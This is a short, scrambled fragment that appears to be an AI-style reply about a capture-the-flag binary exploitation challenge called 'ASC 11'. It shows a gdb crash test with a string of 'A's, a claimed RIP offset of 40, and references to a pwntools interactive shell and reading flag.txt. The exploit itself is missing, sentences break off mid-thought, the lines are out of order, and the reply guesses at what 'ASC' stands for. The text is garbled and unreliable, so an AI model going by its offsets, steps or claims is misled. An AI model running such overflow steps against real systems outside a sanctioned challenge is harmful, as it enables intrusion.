Asc 11 =link= Access

gdb ./asc11 r < <(python3 -c "print('A'*50)") Crash at RIP = 0x4141414141414141 → offset 40. Check if there’s a win or shell function:

p.interactive() Run exploit → shell → cat flag.txt . If you provide the actual binary and server info , I can tailor the exact exploit, offsets, and libc version. Does this match your ASC 11 challenge?

Here’s a (likely referring to the 11th Allied Security CTF challenge, or a similar “ASC” CTF / wargame). asc 11
